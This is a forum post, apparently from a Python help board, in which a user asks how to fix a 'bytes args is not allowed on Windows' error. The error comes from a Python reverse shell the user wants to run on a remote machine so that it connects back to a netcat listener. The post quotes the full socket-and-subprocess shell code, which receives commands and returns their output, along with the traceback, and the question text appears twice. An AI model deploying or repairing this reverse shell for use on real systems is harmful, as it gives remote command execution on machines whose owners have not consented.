Mar-20-2021, 07:01 PM
Hi All
I'm new to Python and trying to write a shell I can execute on a remote machine which connects back to my host machine. My host machine is running a netcat listener. However, when I run the following code on the remote machine:
Traceback (most recent call last):
File "C:\Users\user1\Documents\PythonShells\python_setup.py", line 14, in <module>
proc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
File "C:\Users\user1\AppData\Local\Programs\Python\Python39\lib\subprocess.py", line 951, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "C:\Users\user1\AppData\Local\Programs\Python\Python39\lib\subprocess.py", line 1352, in _execute_child
raise TypeError('bytes args is not allowed on Windows')
TypeError: bytes args is not allowed on Windows
The code ran fine on Python 2.x but now I'm trying to use Python 3.x and its popped up with this error. Do I need to encode the 'byte' string somehow and then decode?
Any help would be greatfully received.
Thanks..
I'm new to Python and trying to write a shell I can execute on a remote machine which connects back to my host machine. My host machine is running a netcat listener. However, when I run the following code on the remote machine:
import socket,subprocess HOST='127.0.0.1' PORT=12345 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((HOST,PORT)) s.sendall(b'[*]Connection Established!') while 1: data=s.recv(1024) if data=='quit':break proc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) stdout_value=proc.stdout.read()+proc.stderr.read() s.sendall(stdout_value) s.close()I get the following error message:
Traceback (most recent call last):
File "C:\Users\user1\Documents\PythonShells\python_setup.py", line 14, in <module>
proc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
File "C:\Users\user1\AppData\Local\Programs\Python\Python39\lib\subprocess.py", line 951, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "C:\Users\user1\AppData\Local\Programs\Python\Python39\lib\subprocess.py", line 1352, in _execute_child
raise TypeError('bytes args is not allowed on Windows')
TypeError: bytes args is not allowed on Windows
The code ran fine on Python 2.x but now I'm trying to use Python 3.x and its popped up with this error. Do I need to encode the 'byte' string somehow and then decode?
Any help would be greatfully received.
Thanks..